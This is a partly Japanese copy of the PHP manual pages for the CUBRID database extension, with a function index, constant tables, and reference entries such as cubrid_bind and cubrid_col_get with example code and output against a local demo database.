    • 定義済み定数
    • SQLSRV 関数
  • tokyo_tyrant
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • TokyoTyrant — TokyoTyrant クラス
    • TokyoTyrantTable — TokyoTyrantTable クラス
    • TokyoTyrantQuery — TokyoTyrantQuery クラス
    • TokyoTyrantIterator — TokyoTyrantIterator クラス
    • TokyoTyrantException — TokyoTyrantException クラス

User Contributed Notes

There are no user contributed notes for this page.


CUBRID

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • CUBRID 関数
    • cubrid_bind — Bind variables to a prepared statement as parameters
    • cubrid_close_prepare — Close the request handle
    • cubrid_close_request — Close the request handle
    • cubrid_col_get — Get contents of collection type column using OID
    • cubrid_col_size — Get the number of elements in collection type column using OID
    • cubrid_column_names — Get the column names in result
    • cubrid_column_types — Get column types in result
    • cubrid_commit — Commit a transaction
    • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
    • cubrid_connect — Open a connection to a CUBRID Server
    • cubrid_current_oid — Get OID of the current cursor location
    • cubrid_disconnect — Close a database connection
    • cubrid_drop — Delete an instance using OID
    • cubrid_error_code_facility — Get the facility code of error
    • cubrid_error_code — Get error code for the most recent function call
    • cubrid_error_msg — Get last error message for the most recent function call
    • cubrid_execute — Execute a prepared SQL statement
    • cubrid_fetch — Fetch the next row from a result set
    • cubrid_free_result — Free the memory occupied by the result data
    • cubrid_get_autocommit — Get auto-commit mode of the connection
    • cubrid_get_charset — Return the current CUBRID connection charset
    • cubrid_get_class_name — Get the class name using OID
    • cubrid_get_client_info — Return the client library version
    • cubrid_get_db_parameter — Returns the CUBRID database parameters
    • cubrid_get_query_timeout — Get the query timeout value of the request
    • cubrid_get_server_info — Return the CUBRID server version
    • cubrid_get — Get a column using OID
    • cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column
    • cubrid_is_instance — Check whether the instance pointed by OID exists
    • cubrid_lob_close — Close BLOB/CLOB data
    • cubrid_lob_export — Export BLOB/CLOB data to file
    • cubrid_lob_get — Get BLOB/CLOB data
    • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
    • cubrid_lob_size — Get BLOB/CLOB data size
    • cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters
    • cubrid_lob2_close — Close LOB object
    • cubrid_lob2_export — Export the lob object to a file
    • cubrid_lob2_import — Import BLOB/CLOB data from a file
    • cubrid_lob2_new — Create a lob object
    • cubrid_lob2_read — Read from BLOB/CLOB data
    • cubrid_lob2_seek64 — Move the cursor of a lob object
    • cubrid_lob2_seek — Move the cursor of a lob object
    • cubrid_lob2_size64 — Get a lob object's size
    • cubrid_lob2_size — Get a lob object's size
    • cubrid_lob2_tell64 — Tell the cursor position of the LOB object
    • cubrid_lob2_tell — Tell the cursor position of the LOB object
    • cubrid_lob2_write — Write to a lob object
    • cubrid_lock_read — Set a read lock on the given OID
    • cubrid_lock_write — Set a write lock on the given OID
    • cubrid_move_cursor — Move the cursor in the result
    • cubrid_next_result — Get result of next query when executing multiple SQL statements
    • cubrid_num_cols — Return the number of columns in the result set
    • cubrid_num_rows — Get the number of rows in the result set
    • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
    • cubrid_pconnect — Open a persistent connection to a CUBRID server
    • cubrid_prepare — Prepare a SQL statement for execution
    • cubrid_put — Update a column using OID
    • cubrid_rollback — Roll back a transaction
    • cubrid_schema — Get the requested schema information
    • cubrid_seq_drop — Delete an element from sequence type column using OID
    • cubrid_seq_insert — Insert an element to a sequence type column using OID
    • cubrid_seq_put — Update the element value of sequence type column using OID
    • cubrid_set_add — Insert a single element to set type column using OID
    • cubrid_set_autocommit — Set autocommit mode of the connection
    • cubrid_set_db_parameter — Sets the CUBRID database parameters
    • cubrid_set_drop — Delete an element from set type column using OID
    • cubrid_set_query_timeout — Set the timeout time of query execution
    • cubrid_version — Get the CUBRID PHP module's version
  • CUBRID MySQL 互換関数
    • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
    • cubrid_client_encoding — Return the current CUBRID connection charset
    • cubrid_close — Close CUBRID connection
    • cubrid_data_seek — Move the internal row pointer of the CUBRID result
    • cubrid_db_name — Get db name from results of cubrid_list_dbs
    • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
    • cubrid_error — Get the error message
    • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
    • cubrid_fetch_field — Get column information from a result and return as an object
    • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
    • cubrid_fetch_object — Fetch the next row and return it as an object
    • cubrid_fetch_row — Return a numerical array with the values of the current row
    • cubrid_field_flags — Return a string with the flags of the given field offset
    • cubrid_field_len — Get the maximum length of the specified field
    • cubrid_field_name — Return the name of the specified field index
    • cubrid_field_seek — Move the result set cursor to the specified field offset
    • cubrid_field_table — Return the name of the table of the specified field
    • cubrid_field_type — Return the type of the column corresponding to the given field offset
    • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
    • cubrid_num_fields — Return the number of columns in the result set
    • cubrid_ping — Ping a server connection or reconnect if there is no connection
    • cubrid_query — Send a CUBRID query
    • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
    • cubrid_result — Return the value of a specific field in a specific row
    • cubrid_unbuffered_query — Perform a query without fetching the results into memory
  • CUBRID 廃止されたエイリアスと関数
    • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
    • cubrid_new_glo — Create a glo instance
    • cubrid_save_to_glo — Save requested file in a GLO instance
    • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの関数により、CUBRID データベースサーバーにアクセスできます。 CUBRID についての詳細は、» CUBRIDで見つかります。

CUBRID についてのドキュメントは、» CUBRID ドキュメント で見つかります。

User Contributed Notes

There are no user contributed notes for this page.


要件

In order to have these functions available, you must install CUBRID, and compile CUBRID PHP Library with CUBRID support.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/cubrid.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

Linux および Windows システムでの手動インストールについて詳しくは、 パッケージに含まれるファイル build-guide.html をお読みください。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

There is no runtime configuration now.

User Contributed Notes

There are no user contributed notes for this page.


リソース型

There are four resource types used in CUBRID. The first one is the link identifier for a database connection, the second is the a resource which holds the result of a query, and the last two a resource which holds the query results of BLOB/CLOB data types.

connection identifier

A connection identifier returned by cubrid_connect(),
cubrid_connect_with_url(),
cubrid_pconnect() and
cubrid_pconnect_with_url().

request identifier

A request identifier returned by cubrid_prepare() and cubrid_execute().

LOB identifier

A LOB identifier returned by cubrid_lob_get().

LOB2 identifier

A LOB identifier returned by cubrid_lob2_new() or get from the result set.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

The following constants can be used when executing SQL statement. They can be passed to cubrid_prepare() and cubrid_execute().

CUBRID SQL execution flags
Constant | Description
CUBRID_INCLUDE_OID | Determine whether to get OID during query execution.
CUBRID_ASYNC | Execute the query in asynchronous mode.
CUBRID_EXEC_QUERY_ALL | Execute the query in synchronous mode. This flag must be set when executing multiple SQL statements.

The following constants can be used when fetching the results to specify fetch behaviour. They can be passed to cubrid_fetch() and cubrid_fetch_array().

CUBRID fetch flags
Constant | Description
CUBRID_NUM | Get query result as a numeric array (0-default).
CUBRID_ASSOC | Get query result as an associative array.
CUBRID_BOTH | Get query result as both numeric and associative arrays (default value).
CUBRID_OBJECT | Get query result an object.
CUBRID_LOB | The constant CUBRID_LOB can be used when you want to operate the lob object. It can be passed to cubrid_fetch(), cubrid_fetch_row(), cubrid_fetch_array(), cubrid_fetch_assoc() and cubrid_fetch_object().

The following constants can be used when positioning the cursor in query results. They can be passed to or returned by cubrid_move_cursor().

CUBRID cursor position flags
Constant | Description
CUBRID_CURSOR_FIRST | Move current cursor to the first position in the result.
CUBRID_CURSOR_CURRENT | Move current cursor as a default value if the origin is not specified.
CUBRID_CURSOR_LAST | Move current cursor to the last position in the result.
CUBRID_CURSOR_SUCCESS | Returned value of cubrid_move_cursor() function in case of success. This flag has been removed from 8.4.1.
CUBRID_NO_MORE_DATA | Returned value of cubrid_move_cursor() function in case of failure. This flag has been removed from 8.4.1.
CUBRID_CURSOR_ERROR | Returned value of cubrid_move_cursor() function in case of failure. This flag has been removed from 8.4.1.

The following constants can be used when setting the auto-commit mode for the database connection. They can be passed to cubrid_set_autocommit() or returned by cubrid_get_autocommit().

CUBRID auto-commit mode flags
Constant | Description
CUBRID_AUTOCOMMIT_TRUE | Enable the auto-commit mode.
CUBRID_AUTOCOMMIT_FALSE | Disable the auto-commit mode.

The following constants can be used when setting the database parameter. They can be passed to cubrid_set_db_parameter().

CUBRID parameter flags
Constant | Description
CUBRID_PARAM_ISOLATION_LEVEL | Transaction isolation level for the database connection.
CUBRID_PARAM_LOCK_TIMEOUT | Transaction timeout in seconds.

The following constants can be used when setting the transaction isolation level. They can be passed to cubrid_set_db_parameter() or returned by cubrid_get_db_parameter().

CUBRID isolation level flags
Constant | Description
TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to cubrid_schema().

CUBRID schema flags
Constant | Description
CUBRID_SCH_CLASS | Get name and type of table in CUBRID.
CUBRID_SCH_VCLASS | Get name and type of view in CUBRID.
CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
CUBRID_SCH_CLASS_ATTRIBUTE | Get the attributes of table.
CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
CUBRID_SCH_CLASS_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
CUBRID_SCH_SUPERCLASS | Get the name and type of table which table inherites attributes from.
CUBRID_SCH_SUBCLASS | Get the name and type of table which inherites attributes from this table.
CUBRID_SCH_CONSTRAINT | Get the table constraints.
CUBRID_SCH_TRIGGER | Get the table triggers.
CUBRID_SCH_CLASS_PRIVILEGE | Get the privilege information of table.
CUBRID_SCH_ATTR_PRIVILEGE | Get the privilege information of column.
CUBRID_SCH_DIRECT_SUPER_CLASS | Get the direct super table of table.
CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

The following constants can be used when reporting errors. They can be returned from cubrid_error_code_facility().

CUBRID error facility code
Constant | Description
CUBRID_FACILITY_DBMS | The error occurred in CUBRID dbms.
CUBRID_FACILITY_CAS | The error occurred in CUBRID broker cas.
CUBRID_FACILITY_CCI | The error occurred in CUBRID cci.
CUBRID_FACILITY_CLIENT | The error occurred in CUBRID PHP client.

User Contributed Notes

There are no user contributed notes for this page.


例

The following is a simple example that establishes a connection between PHP and CUBRID. This section will cover the most basic and notable features. The following code required to connect to CUBRID database, which means CUBRID Server and CUBRID Broker have to be running.

The example below uses the demodb database as an examples. By default it is created during the installation. Make sure it has been created.

例1 Example of Data Retrieval

<html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=euc-kr">
    </head>
    <body>
    <center>
    <table border=2>
    <?php
        /**
         * Set server information for CUBRID connection. host_ip is the IP
         * address where the CUBRID Broker is installed (localhost in this
         * example), and host_port is the port number of the CUBRID Broker.
         * The port number is the default given during the installation.
         * For details, see "Administrator's Guide."
         */
        $host_ip = "localhost";
        $host_port = 33000;
        $db_name = "demodb";
        /**
         * Connect to CUBRID Server. Do not make the actual connection, but
         * only retain the connection information. The reason for not making
         * the actual connection is to handle transaction more efficiently
         * in the 3-tier architecture.
         */
        $cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

        if (!$cubrid_con) {
            echo "Database Connection Error";
            exit;
        }
    ?>
    <?php
        $sql = "select sports, count(players) as players from event group by sports";
        /**
         * Request the CUBRID Server for the results of the SQL statement.
         * Now make the actual connection to the CUBRID Server.
         */
        $result = cubrid_execute($cubrid_con, $sql);

        if ($result) {
            /**
             * Get the column names from the result set created by the SQL query.
             */
            $columns = cubrid_column_names($result);
            /**
             * Get the number of columns in the result set created by the SQL query.
             */
            $num_fields = cubrid_num_cols($result);
            /**
             * List the column names of the result set on the screen.
             */
            echo("<tr>");

            while (list($key, $colname) = each($columns)) {
                echo("<td align=center>$colname</td>");
            }

            echo("</tr>");

            /**
             * Get the results from the result set.
             */
            while ($row = cubrid_fetch($result)) {
                echo("<tr>");

                for ($i = 0; $i < $num_fields; $i++) {
                    echo("<td align=center>");
                    echo($row[$i]);
                    echo("</td>");
                }

                echo("</tr>");
            }
        }
        /**
         * The PHP module in the CUBRID runs in a 3-tier architecture. Even when
         * calling SELECT for transaction processing, it is processed as a part
         * of the transaction. Therefore, the transaction needs to be rolled back
         * by calling commit or rollback even though SELECT was called for smooth
         * performance.
         */
        cubrid_commit($cubrid_con);
        cubrid_disconnect($cubrid_con);
    ?>
    </body>
    </html>

例2 Example of Data Insertion

<html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=euc- kr">
    </head>
    <body>
    <center>
    <table border=2>
    <?php
        /**
         * host_ip is the IP address where the CUBRID Broker is installed
         * host_port is the port number of the CUBRID Broker
         * db_name is the name of CUBRID Database
         */
        $host_ip = "localhost";
        $host_port = 33000;
        $db_name = "demodb";
        $cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

        if (!$cubrid_con) {
            echo "Database Connection Error";
            exit;
        }
    ?>
    <?php
        $sql = "insert into olympic (host_year,host_nation,host_city,"
            . "opening_date,closing_date) values (2008, 'China', 'Beijing',"
            . "to_date('08-08-2008','mm-dd- yyyy'),to_date('08-24-2008','mm-dd-yyyy')) ;"
        $result = cubrid_execute($cubrid_con, $sql);
        if ($result) {
            /**
             * Handled successfully, so commit.
             */
            cubrid_commit($cubrid_con);
            echo("Inserted successfully ");
        } else {
            /**
             * Error occurred, so the error message is output and rollback is called.
             */
            echo(cubrid_error_msg());
            cubrid_rollback($cubrid_con);
        }
        cubrid_disconnect($cubrid_con);
    ?>
    </body>
    </html>

User Contributed Notes

There are no user contributed notes for this page.


CUBRID 関数

目次

  • cubrid_bind — Bind variables to a prepared statement as parameters
  • cubrid_close_prepare — Close the request handle
  • cubrid_close_request — Close the request handle
  • cubrid_col_get — Get contents of collection type column using OID
  • cubrid_col_size — Get the number of elements in collection type column using OID
  • cubrid_column_names — Get the column names in result
  • cubrid_column_types — Get column types in result
  • cubrid_commit — Commit a transaction
  • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
  • cubrid_connect — Open a connection to a CUBRID Server
  • cubrid_current_oid — Get OID of the current cursor location
  • cubrid_disconnect — Close a database connection
  • cubrid_drop — Delete an instance using OID
  • cubrid_error_code_facility — Get the facility code of error
  • cubrid_error_code — Get error code for the most recent function call
  • cubrid_error_msg — Get last error message for the most recent function call
  • cubrid_execute — Execute a prepared SQL statement
  • cubrid_fetch — Fetch the next row from a result set
  • cubrid_free_result — Free the memory occupied by the result data
  • cubrid_get_autocommit — Get auto-commit mode of the connection
  • cubrid_get_charset — Return the current CUBRID connection charset
  • cubrid_get_class_name — Get the class name using OID
  • cubrid_get_client_info — Return the client library version
  • cubrid_get_db_parameter — Returns the CUBRID database parameters
  • cubrid_get_query_timeout — Get the query timeout value of the request
  • cubrid_get_server_info — Return the CUBRID server version
  • cubrid_get — Get a column using OID
  • cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column
  • cubrid_is_instance — Check whether the instance pointed by OID exists
  • cubrid_lob_close — Close BLOB/CLOB data
  • cubrid_lob_export — Export BLOB/CLOB data to file
  • cubrid_lob_get — Get BLOB/CLOB data
  • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
  • cubrid_lob_size — Get BLOB/CLOB data size
  • cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters
  • cubrid_lob2_close — Close LOB object
  • cubrid_lob2_export — Export the lob object to a file
  • cubrid_lob2_import — Import BLOB/CLOB data from a file
  • cubrid_lob2_new — Create a lob object
  • cubrid_lob2_read — Read from BLOB/CLOB data
  • cubrid_lob2_seek64 — Move the cursor of a lob object
  • cubrid_lob2_seek — Move the cursor of a lob object
  • cubrid_lob2_size64 — Get a lob object's size
  • cubrid_lob2_size — Get a lob object's size
  • cubrid_lob2_tell64 — Tell the cursor position of the LOB object
  • cubrid_lob2_tell — Tell the cursor position of the LOB object
  • cubrid_lob2_write — Write to a lob object
  • cubrid_lock_read — Set a read lock on the given OID
  • cubrid_lock_write — Set a write lock on the given OID
  • cubrid_move_cursor — Move the cursor in the result
  • cubrid_next_result — Get result of next query when executing multiple SQL statements
  • cubrid_num_cols — Return the number of columns in the result set
  • cubrid_num_rows — Get the number of rows in the result set
  • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
  • cubrid_pconnect — Open a persistent connection to a CUBRID server
  • cubrid_prepare — Prepare a SQL statement for execution
  • cubrid_put — Update a column using OID
  • cubrid_rollback — Roll back a transaction
  • cubrid_schema — Get the requested schema information
  • cubrid_seq_drop — Delete an element from sequence type column using OID
  • cubrid_seq_insert — Insert an element to a sequence type column using OID
  • cubrid_seq_put — Update the element value of sequence type column using OID
  • cubrid_set_add — Insert a single element to set type column using OID
  • cubrid_set_autocommit — Set autocommit mode of the connection
  • cubrid_set_db_parameter — Sets the CUBRID database parameters
  • cubrid_set_drop — Delete an element from set type column using OID
  • cubrid_set_query_timeout — Set the timeout time of query execution
  • cubrid_version — Get the CUBRID PHP module's version

User Contributed Notes

There are no user contributed notes for this page.


Bind variables to a prepared statement as parameters

  • ≪ CUBRID 関数
  • cubrid_close_prepare ≫
  • PHP Manual
  • CUBRID 関数
  • Bind variables to a prepared statement as parameters

cubrid_bind

(PECL CUBRID >= 8.3.0)

cubrid_bind — Bind variables to a prepared statement as parameters

説明

cubrid_bind ( resource $req_identifier , int $bind_index , mixed $bind_value , string $bind_value_type = ? ) : bool

The cubrid_bind() function is used to bind values to a corresponding named or question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be the default.

注意:

If the type of data to be bound is BLOB/CLOB, CUBRID will try to map the data as a PHP stream. If the actually bind value type is not stream, CUBRID will convert it to string, and use it as the full path and file name of a file on the client filesystem.

If the type of data to be bound explicitly is ENUM, the $bind_value argument should be the enum element which is in string format.

In CUBRID shard envrioment, the $bind_value_type must be included in the cubrid_bind function.

The following table shows the types of substitute values.

CUBRID Bind Date Types
Support | Bind Type | Corresponding SQL Type
Supported | STRING | CHAR, VARCHAR
 | NCHAR | NCHAR, NVARCHAR
 | BIT | BIT, VARBIT
 | NUMERIC or NUMBER | SHORT, INT, NUMERIC
 | FLOAT | FLOAT
 | DOUBLE | DOUBLE
 | TIME | TIME
 | DATE | DATE
 | TIMESTAMP | TIMESTAMP
 | OBJECT | OBJECT
 | ENUM | ENUM
 | BLOB | BLOB
 | CLOB | CLOB
 | NULL | NULL
Not supported | SET | SET
 | MULTISET | MULTISET
 | SEQUENCE | SEQUENCE

パラメータ

req_identifier

Request identifier as a result of cubrid_prepare().

bind_index

Location of binding parameters. It starts with 1.

bind_value

Actual value for binding.

bind_value_type

A type of the value to bind. (It is omitted by default. Thus, the system internally uses string by default. However, you need to specify the exact type of the value as an argument when they are NCHAR, BIT, or BLOB/CLOB).

返り値

true, when process is successful.

false, when process is unsuccessful.

変更履歴

バージョン | 説明
8.3.1 | Added BLOB/CLOB data types support.

例

例1 cubrid_bind() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE sports='Basketball' and gender='M'");
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$game_req = cubrid_prepare($conn, "SELECT athlete_code FROM game WHERE host_year=1992 and event_code=? and nation_code='USA'");
cubrid_bind($game_req, 1, $event_code, "number");
cubrid_execute($game_req);

printf("--- Dream Team (1992 United States men's Olympic basketball team) ---\n");
while ($athlete_code = cubrid_fetch_array($game_req, CUBRID_NUM)) {
    $athlete_req = cubrid_prepare($conn, "SELECT name FROM athlete WHERE code=? AND nation_code='USA' AND event='Basketball' AND gender='M'");
    cubrid_bind($athlete_req, 1, $athlete_code[0], "number");
    cubrid_execute($athlete_req);
    $row = cubrid_fetch_assoc($athlete_req);
    printf("%s\n", $row["name"]);
}

cubrid_close_request($game_req);
cubrid_close_request($athlete_req);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

--- Dream Team (1992 United States men's Olympic basketball team) ---
Stockton John
Robinson David
Pippen Scottie
Mullin C.
Malone Karl
Laettner C.
Jordan Michael
Johnson Earvin
Ewing Patrick
Drexler Clyde
Bird Larry
Barkley Charles

例2 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
    cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
    cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (doc_content CLOB)");
    $sql = "INSERT INTO php_cubrid_lob_test(doc_content) VALUES(?)";
    $req = cubrid_prepare($con, $sql);

    $fp = fopen("book.txt", "rb");

    cubrid_bind($req, 1, $fp, "clob");
    cubrid_execute($req);
}
?>

例3 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
    cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
    cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (image BLOB)");
    $sql = "INSERT INTO php_cubrid_lob_test(image) VALUES(?)";
    $req = cubrid_prepare($con, $sql);

    cubrid_bind($req, 1, "cubrid_logo.png", "blob");
    cubrid_execute($req);
}
?>

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_prepare() - Prepare a SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Close the request handle

  • ≪ cubrid_bind
  • cubrid_close_request ≫
  • PHP Manual
  • CUBRID 関数
  • Close the request handle

cubrid_close_prepare

(PECL CUBRID >= 8.3.0)

cubrid_close_prepare — Close the request handle

説明

cubrid_close_prepare ( resource $req_identifier ) : bool

The cubrid_close_prepare() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is an alias of cubrid_close_request().

パラメータ

req_identifier

Request identifier.

返り値

Return true on success.

例

例1 cubrid_close_prepare() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "select * from members",
                           CUBRID_INCLUDE_OID | CUBRID_ASYNC);
   if ($req) {
      while ( list ($id, $name) = cubrid_fetch ($req) ){
         echo $id;
         echo $name;
      }
      cubrid_close_prepare($req); // or you can use cubrid_close_request($req)
   }
   cubrid_disconnect($con);
}
?>

参考

  • cubrid_close_request() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.


Close the request handle

  • ≪ cubrid_close_prepare
  • cubrid_col_get ≫
  • PHP Manual
  • CUBRID 関数
  • Close the request handle

cubrid_close_request

(PECL CUBRID >= 8.3.0)

cubrid_close_request — Close the request handle

説明

cubrid_close_request ( resource $req_identifier ) : bool

The cubrid_close_request() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is an alias of cubrid_close_prepare().

パラメータ

req_identifier

Request identifier.

返り値

Return true on success.

例

例1 cubrid_close_request() example

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
   echo "connected successfully";
   $req = cubrid_execute ( $con, "select * from members",
                           CUBRID_INCLUDE_OID | CUBRID_ASYNC);
   if ($req) {
      while ( list ($id, $name) = cubrid_fetch ($req) ){
         echo $id;
         echo $name;
      }
      cubrid_close_request($req); // or you can use cubrid_close_prepare($req)
   }
   cubrid_disconnect($con);
}
?>

参考

  • cubrid_close_prepare() - Close the request handle

User Contributed Notes

There are no user contributed notes for this page.


Get contents of collection type column using OID

  • ≪ cubrid_close_request
  • cubrid_col_size ≫
  • PHP Manual
  • CUBRID 関数
  • Get contents of collection type column using OID

cubrid_col_get

(PECL CUBRID >= 8.3.0)

cubrid_col_get — Get contents of collection type column using OID

説明

cubrid_col_get ( resource $conn_identifier , string $oid , string $attr_name ) : array

The cubrid_col_get() function is used to get contents of the elements of the collection type (set, multiset, sequence) attribute you requested as an array.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr_name

Attribute name that you want to read from the instance.

返り値

Array (0-based numerical array) containing the elements you requested, when process is successful;

false (to distinguish the error from the situation of attribute having empty collection or NULL, in case of error, a warning message is shown; in such case you can check the error by using cubrid_error_code()), when process is unsuccessful.

例

例1 cubrid_col_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get the number of elements in collection type column using OID

  • ≪ cubrid_col_get
  • cubrid_column_names ≫
  • PHP Manual
  • CUBRID 関数
  • Get the number of elements in collection type column using OID

cubrid_col_size

(PECL CUBRID >= 8.3.0)

cubrid_col_size — Get the number of elements in collection type column using OID

説明

cubrid_col_size ( resource $conn_identifier , string $oid , string $attr_name ) : int

The cubrid_col_size() function is used to get the number of elements in a collection type (set, multiset, sequence) attribute.

パラメータ

conn_identifier

Connection identifier.

oid

OID the instance that you want to work with.

attr_name

Name of the attribute that you want to work with.

返り値

Number of elements, when process is successful.

false, when process is unsuccessful.

変更履歴

バージョン | 説明
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

例

例1 cubrid_col_size() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get the column names in result

  • ≪ cubrid_col_size
  • cubrid_column_types ≫
  • PHP Manual
  • CUBRID 関数
  • Get the column names in result

cubrid_column_names

(PECL CUBRID >= 8.3.0)

cubrid_column_names — Get the column names in result

説明

cubrid_column_names ( resource $req_identifier ) : array

The cubrid_column_names() function is used to get the column names of the query result by using req_identifier.

パラメータ

req_identifier

Request identifier.

返り値

Array of string values containing the column names, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_column_names() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
    $column_len = cubrid_field_len($result, $i);
    printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
